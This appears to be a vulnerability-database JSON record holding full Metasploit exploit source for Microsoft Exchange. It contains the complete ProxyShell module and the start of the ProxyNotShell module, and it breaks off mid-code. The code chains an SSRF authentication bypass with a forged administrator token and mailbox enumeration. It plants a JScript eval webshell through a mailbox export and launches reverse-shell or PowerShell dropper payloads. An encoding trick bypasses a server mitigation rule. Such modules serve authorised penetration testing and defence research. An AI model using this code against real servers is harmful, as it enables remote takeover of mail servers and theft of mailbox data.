"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-18T14:50:34", "type": "metasploit", "title": "Microsoft Exchange ProxyShell RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-12-02T20:58:50", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYSHELL_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxyshell_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyShell RCE',\n 'Description' => %q{\n This module exploits a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery\n 'Jang (@testanull)', # Vulnerability analysis\n 'PeterJson', # Vulnerability analysis\n 'brandonshi123', # Vulnerability analysis\n 'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template\n 'Donny Maasland', # Procedure optimizations (email enumeration)\n 'Rich Warren', # Procedure optimizations (email enumeration)\n 'Spencer McIntyre', # Metasploit module\n 'wvu' # Testing\n ],\n 'References' => [\n [ 'CVE', '2021-34473' ],\n [ 'CVE', '2021-34523' ],\n [ 'CVE', '2021-31207' ],\n [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],\n [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],\n [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],\n [ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]\n ],\n 'DisclosureDate' => '2021-04-06', # pwn2own 2021\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [false, 'A known email address for this organization']),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n CheckCode::Vulnerable\n end\n\n def cmd_windows_generic?\n datastore['PAYLOAD'] == 'cmd/windows/generic'\n end\n\n def encode_cmd(cmd)\n cmd.gsub!('\\\\', '\\\\\\\\\\\\')\n cmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b')\n end\n\n def random_mapi_id\n id = \"{#{Rex::Text.rand_text_hex(8)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n id.upcase\n end\n\n def request_autodiscover(email)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_http(\n 'POST',\n '/autodiscover/autodiscover.xml',\n data: XMLTemplate.render('soap_autodiscover', email: email),\n ctype: 'text/xml; charset=utf-8'\n )\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty?\n\n server = ''\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n\n { server: server, legacy_dn: legacy_dn }\n end\n\n def request_fqdn\n ntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n received = send_request_raw(\n 'method' => 'RPC_IN_DATA',\n 'uri' => normalize_uri('rpc', 'rpcproxy.dll'),\n 'headers' => {\n 'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\"\n }\n )\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)\n hash = received['WWW-Authenticate'].split('NTLM ')[1]\n message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))\n dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]\n\n return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase\n end\n\n fail_with(Failure::NotFound, 'No Backend server was found')\n end\n\n # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff\n def request_mapi(legacy_dn)\n data = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\n headers = {\n 'X-RequestType' => 'Connect',\n 'X-ClientInfo' => random_mapi_id,\n 'X-ClientApplication' => datastore['MapiClientApp'],\n 'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\"\n }\n\n sid = ''\n response = send_http(\n 'POST',\n '/mapi/emsmdb',\n data: data,\n ctype: 'application/mapi-http',\n headers: headers\n )\n if response&.code == 200\n sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s\n end\n fail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty?\n\n sid\n end\n\n def get_sid_for_email(email)\n autodiscover = request_autodiscover(email)\n request_mapi(autodiscover[:legacy_dn])\n end\n\n # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.\n def exploit_setup\n if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?\n server_name = datastore['BackendServerName']\n print_status(\"Internal server name forced to: #{server_name}\")\n else\n print_status('Retrieving backend FQDN over RPC request')\n server_name = request_fqdn\n print_status(\"Internal server name: #{server_name}\")\n end\n @backend_server_name = server_name\n\n get_common_access_token\n print_good('Successfully assigned the \\'Mailbox Import Export\\' role')\n print_good(\"Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})\")\n end\n\n def probe_powershell_backend(common_access_token)\n powershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{common_access_token}\")\n fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200\n end\n\n # this function doesn't return unless it's successful\n def get_common_access_token\n # get a SID from the specified email address\n email_address = datastore['EMAIL']\n unless email_address.blank?\n sid = get_sid_for_email(email_address)\n vprint_status(\"SID: #{sid} (#{email_address})\")\n common_access_token = build_token(sid)\n probe_powershell_backend(common_access_token)\n\n print_status(\"Assigning the 'Mailbox Import Export' role via #{email_address}\")\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: email_address }\n ])\n unless role_assigned\n fail_with(Failure::BadConfig, 'The specified email address does not have the \\'Mailbox Import Export\\' role and can not self-assign it')\n end\n\n @mailbox_user_sid = sid\n @mailbox_user_email = email_address\n @common_access_token = common_access_token\n return\n end\n\n print_status('Enumerating valid email addresses and searching for one that either has the \\'Mailbox Import Export\\' role or can self-assign it')\n get_emails.each do |this_email_address|\n next if this_email_address == email_address # already tried this one\n\n vprint_status(\"Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}\")\n begin\n this_sid = get_sid_for_email(this_email_address)\n rescue RuntimeError\n print_error(\"Failed to identify the SID for #{this_email_address}\")\n next\n end\n\n common_access_token = build_token(this_sid)\n role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [\n { name: '-Role', value: 'Mailbox Import Export' },\n { name: '-User', value: this_email_address }\n ])\n next unless role_assigned\n\n @mailbox_user_sid = this_sid\n @mailbox_user_email = this_email_address\n @common_access_token = common_access_token\n return # rubocop:disable Lint/NonLocalExitFromIterator\n end\n\n fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')\n end\n\n def send_http(method, uri, opts = {})\n ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n opts[:cookie] = \"Email=#{ssrf}\"\n super(method, \"/#{ssrf}#{uri}\", opts)\n end\n\n def get_emails\n mailbox_table = Rex::Text::Table.new(\n 'Header' => 'Exchange Mailboxes',\n 'Columns' => %w[EmailAddress Name RoutingType MailboxType]\n )\n\n MailboxEnumerator.new(self).each do |row|\n mailbox_table << row\n end\n\n print_status(\"Enumerated #{mailbox_table.rows.length} email addresses\")\n stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)\n print_status(\"Saved mailbox and email address data to: #{stored_path}\")\n\n mailbox_table.rows.map(&:first)\n end\n\n def create_embedded_draft(user_sid)\n @shell_input_name = rand_text_alphanumeric(8..12)\n @draft_subject = rand_text_alphanumeric(8..12)\n print_status(\"Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell\")\n payload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\"))\n file_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\"\n envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)\n\n send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n end\n\n def web_directory\n if datastore['UseAlternatePath']\n datastore['IISWritePath'].gsub('\\\\', '/')\n else\n datastore['ExchangeWritePath'].gsub('\\\\', '/')\n end\n end\n\n def build_token(sid)\n uint8_tlv = proc do |type, value|\n type + [value.length].pack('C') + value\n end\n\n token = uint8_tlv.call('V', \"\\x00\")\n token << uint8_tlv.call('T', 'Windows')\n token << \"\\x43\\x00\"\n token << uint8_tlv.call('A', 'Kerberos')\n token << uint8_tlv.call('L', 'Administrator')\n token << uint8_tlv.call('U', sid)\n\n # group data for S-1-5-32-544\n token << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\"\n Rex::Text.encode_base64(token)\n end\n\n def exploit\n @ssrf_email ||= Faker::Internet.email\n print_status('Attempt to exploit for CVE-2021-34473')\n exploit_setup\n\n create_embedded_draft(@mailbox_user_sid)\n @shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\"\n if datastore['UseAlternatePath']\n unc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n else\n unc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\"\n unc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\"\n end\n\n normal_path = unc_path.gsub(/^\\\\+[\\w.-]+\\\\(.)\\$\\\\/, '\\1:\\\\')\n print_status(\"Writing to: #{normal_path}\")\n register_file_for_cleanup(normal_path)\n\n @export_name = rand_text_alphanumeric(8..12)\n successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Name', value: @export_name },\n { name: '-Mailbox', value: @mailbox_user_email },\n { name: '-IncludeFolders', value: '#Drafts#' },\n { name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" },\n { name: '-ExcludeDumpster' },\n { name: '-FilePath', value: unc_path }\n ])\n fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful\n\n exported = false\n print_status('Waiting for the export request to complete...')\n 30.times do\n sleep 5\n next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200\n\n print_good('The mailbox export request has completed')\n exported = true\n break\n end\n\n fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported\n\n print_status('Triggering the payload')\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n\n if !cmd_windows_generic?\n execute_command(payload.encoded)\n else\n boundary = rand_text_alphanumeric(8..12)\n response = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\")\n\n print_warning('Dumping command output in response')\n if response.body =~ /START#{boundary}(.*)END#{boundary}/m\n print_line(Regexp.last_match(1).strip)\n else\n print_error('Empty response, no command output')\n end\n end\n when :windows_dropper\n execute_command(generate_cmdstager(concat_operator: ';').join)\n when :windows_powershell\n cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)\n execute_command(cmd)\n end\n end\n\n def cleanup\n super\n return unless @common_access_token && @export_name\n\n print_status('Removing the mailbox export request')\n execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [\n { name: '-Identity', value: \"#{@mailbox_user_email}\\\\#{@export_name}\" },\n { name: '-Confirm', value: false }\n ])\n\n print_status('Removing the draft email')\n execute_powershell('Search-Mailbox', cat: @common_access_token, args: [\n { name: '-Identity', value: @mailbox_user_email },\n { name: '-SearchQuery', value: \"Subject:\\\"#{@draft_subject}\\\"\" },\n { name: '-Force' },\n { name: '-DeleteContent' }\n ])\n end\n\n def execute_command(cmd, _opts = {})\n if !cmd_windows_generic?\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\"\n else\n cmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\"\n end\n\n send_request_raw(\n 'method' => 'POST',\n 'uri' => normalize_uri(web_directory, @shell_filename),\n 'ctype' => 'application/x-www-form-urlencoded',\n 'data' => \"#{@shell_input_name}=#{cmd}\"\n )\n end\nend\n\n# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox\n# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses\n# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using\n# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.\nclass MailboxEnumerator\n def initialize(mod)\n @mod = mod\n end\n\n # the characters that Exchange Server 2019 allows in an alias (no unicode)\n ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\\'*+-/=?^_`{|}~'.freeze\n XML_NS = {\n 'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',\n 't' => 'http://schemas.microsoft.com/exchange/services/2006/types'\n }.freeze\n\n include Enumerable\n XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate\n\n def each(name: 'SMTP:', &block)\n envelope = XMLTemplate.render('soap_getemails', name: name)\n res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')\n return unless res&.code == 200\n\n if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'\n ALIAS_CHARSET.each_char do |char|\n each(name: name + char, &block)\n end\n else\n res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|\n yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }\n end\n end\n end\nend\n\nclass PstEncoding\n ENCODE_TABLE = [\n 71, 241, 180, 230, 11, 106, 114, 72,\n 133, 78, 158, 235, 226, 248, 148, 83,\n 224, 187, 160, 2, 232, 90, 9, 171,\n 219, 227, 186, 198, 124, 195, 16, 221,\n 57, 5, 150, 48, 245, 55, 96, 130,\n 140, 201, 19, 74, 107, 29, 243, 251,\n 143, 38, 151, 202, 145, 23, 1, 196,\n 50, 45, 110, 49, 149, 255, 217, 35,\n 209, 0, 94, 121, 220, 68, 59, 26,\n 40, 197, 97, 87, 32, 144, 61, 131,\n 185, 67, 190, 103, 210, 70, 66, 118,\n 192, 109, 91, 126, 178, 15, 22, 41,\n 60, 169, 3, 84, 13, 218, 93, 223,\n 246, 183, 199, 98, 205, 141, 6, 211,\n 105, 92, 134, 214, 20, 247, 165, 102,\n 117, 172, 177, 233, 69, 33, 112, 12,\n 135, 159, 116, 164, 34, 76, 111, 191,\n 31, 86, 170, 46, 179, 120, 51, 80,\n 176, 163, 146, 188, 207, 25, 28, 167,\n 99, 203, 30, 77, 62, 75, 27, 155,\n 79, 231, 240, 238, 173, 58, 181, 89,\n 4, 234, 64, 85, 37, 81, 229, 122,\n 137, 56, 104, 82, 123, 252, 39, 174,\n 215, 189, 250, 7, 244, 204, 142, 95,\n 239, 53, 156, 132, 43, 21, 213, 119,\n 52, 73, 182, 18, 10, 127, 113, 136,\n 253, 157, 24, 65, 125, 147, 216, 88,\n 44, 206, 254, 36, 175, 222, 184, 54,\n 200, 161, 128, 166, 153, 152, 168, 47,\n 14, 129, 101, 115, 228, 194, 162, 138,\n 212, 225, 17, 208, 8, 139, 42, 242,\n 237, 154, 100, 63, 193, 108, 249, 236\n ].freeze\n\n def self.encode(data)\n encoded = ''\n data.each_char do |char|\n encoded << ENCODE_TABLE[char.ord].chr\n end\n encoded\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_proxyshell_rce.rb", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-11T21:08:01", "description": "This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019. These vulnerabilities were patched in November 2022.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-11-18T22:00:27", "type": "metasploit", "title": "Microsoft Exchange ProxyNotShell RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-11-28T15:06:14", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYNOTSHELL_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxynotshell_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Remote::HTTP::Exchange\n include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyNotShell RCE',\n 'Description' => %q{\n This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery of ProxyShell SSRF\n 'Spencer McIntyre', # Metasploit module\n 'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis\n 'Piotr Bazyd\u0142o', # Vulnerability analysis\n 'Rich Warren', # EEMS bypass via ProxyNotRelay\n 'Soroush Dalili' # EEMS bypass\n ],\n 'References' => [\n [ 'CVE', '2022-41040' ], # ssrf\n [ 'CVE', '2022-41082' ], # rce\n [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],\n [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],\n [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],\n [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]\n ],\n 'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyNotShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),\n OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])\n ])\n\n register_advanced_options([\n OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])\n ])\n end\n\n def check\n @ssrf_email ||= Faker::Internet.email\n res = send_http('GET', '/mapi/nspi/')\n return CheckCode::Unknown if res.nil?\n return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401\n return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'\n\n # actually run the powershell cmdlet and see if it works, this will fail if:\n # * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)\n # * the exchange emergency mitigation service M1 rule is in place\n return CheckCode::Safe unless execute_powershell('Get-Mailbox')\n\n CheckCode::Vulnerable\n rescue Msf::Exploit::Failed => e\n CheckCode::Safe(e.to_s)\n end\n\n def ibm037(string)\n string.encode('IBM037').force_encoding('ASCII-8BIT')\n end\n\n def send_http(method, uri, opts = {})\n opts[:authentication] = {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'preferred_auth' => 'NTLM'\n }\n\n if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'\n uri = \"/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}\"\n opts[:headers] = {\n 'X-Up-Devcap-Post-Charset' => 'IBM037',\n # technique needs the \"UP\" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362\n 'User-Agent' => \"UP #{datastore['UserAgent']}\"\n }\n else\n uri = \"/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}\"\n end\n\n super(method, uri, opts)\n end\n\n def exploit\n # if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not\n # work on Exchange Server 2016\n if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)\n vprint_status(\"Detected Exchange version: #{version}\")\n if version < Rex::Version.new('15.2')\n fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')\n end\n end\n\n @ssrf_email ||= Faker::Internet.email\n\n case target['Type']\n when :windows_command\n vprint_status(\"Generated payload: #{payload.encoded}\")\n execute_command(payload.encoded)\n when :windows_dropper\n execute_cmdstager({ linemax: 7_500 })\n end\n end\n\n def execute_command(cmd, _opts = {})\n xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root\n <ResourceDictionary\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n 